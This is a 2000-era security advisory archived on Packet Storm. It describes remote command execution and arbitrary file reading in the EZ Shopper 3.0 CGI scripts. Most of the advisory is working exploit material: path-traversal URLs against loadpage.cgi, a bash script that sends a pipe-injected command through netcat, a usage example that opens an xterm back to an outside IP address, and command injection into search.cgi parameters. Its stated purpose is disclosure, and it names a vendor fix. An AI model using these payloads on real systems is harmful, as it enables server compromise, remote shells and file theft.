what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

010.txt

010.txt
Posted Feb 28, 2000
Authored by Suid | Site suid.kg

SUID Advisory #10 - EZ Shopper 3.0 remote exploit. Anyone can execute any command on the remote system with the priveleges of the web server, and read any file on the remote system.

tags | remote, web
SHA-256 | 34f25822d0c29daeab945d4bb6017e10d3264a9d52550b4c41969e9cf382fd0d

010.txt

Change Mirror Download
suid@suid.kg - EZ Shopper 3.0 remote command execution.

Software: EZ Shopper 3.0
URL: http://www.ahg.com/software.htm#ezshopper
Version: Version 3.0
Platforms: Unix, NT
Type: CGI, Input validation problem
Vendor status: Notified 26/02/2000
Date: 26/02/2000

Summary:

Anyone can execute any command on the remote system with
the priveleges of the web server. Anyone can read any file
on the remote system which the webserver has access to.

Vulnerability:

The perl code does no input validation and performs an
open() on a user supplied input.

Exploit:

(1) loadpage.cgi - view any file.

Firstly using your web browser find the current path (cwd):

http://www.example.com/cgi-bin/loadpage.cgi?user_id=1&file=XYZ

You will receive an error message like:

Cannot open file /home/www/shop/XYZ

Now simply use (example based on the above cwd):

http://www.example.com/cgi-bin/loadpage.cgi?
user_id=1&file=../../<path>/<file>

(2) loadpage.cgi - execute any command.

This example shell script uses netcat to communicate with a
HTTP proxy and exploit the script:

------------------------CUT------------------------

#!/bin/bash
echo -e "GET http://www.example.com/cgi-bin/loadpage.cgi?
user_id=1&file=|"$1"| HTTP/1.0\n\n" | nc proxy.server.com 8080

------------------------CUT------------------------

A usage example would be:

$ ./ezhack.sh /usr/X11R6/bin/xterm%20-display%
20123.123.123.123:0

(3) search.cgi - view files (retarded tho) and execute commands.

Simply replace the database field with piped commands or path/filename.

http://www.example.com/cgi-bin/search.cgi?
user_id=1&database=<insert here>&template=<or insert here>&distinct=1

Note if you use the database field a valid template is probably needed
and vice versa.

Workaround:

The vendor, AHG Inc, has released a fixed version, download it from
their website and install the fixed version.

Greets:

yowie
cr
active

http://www.suid.kg/advisories/010.txt

EOF



Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close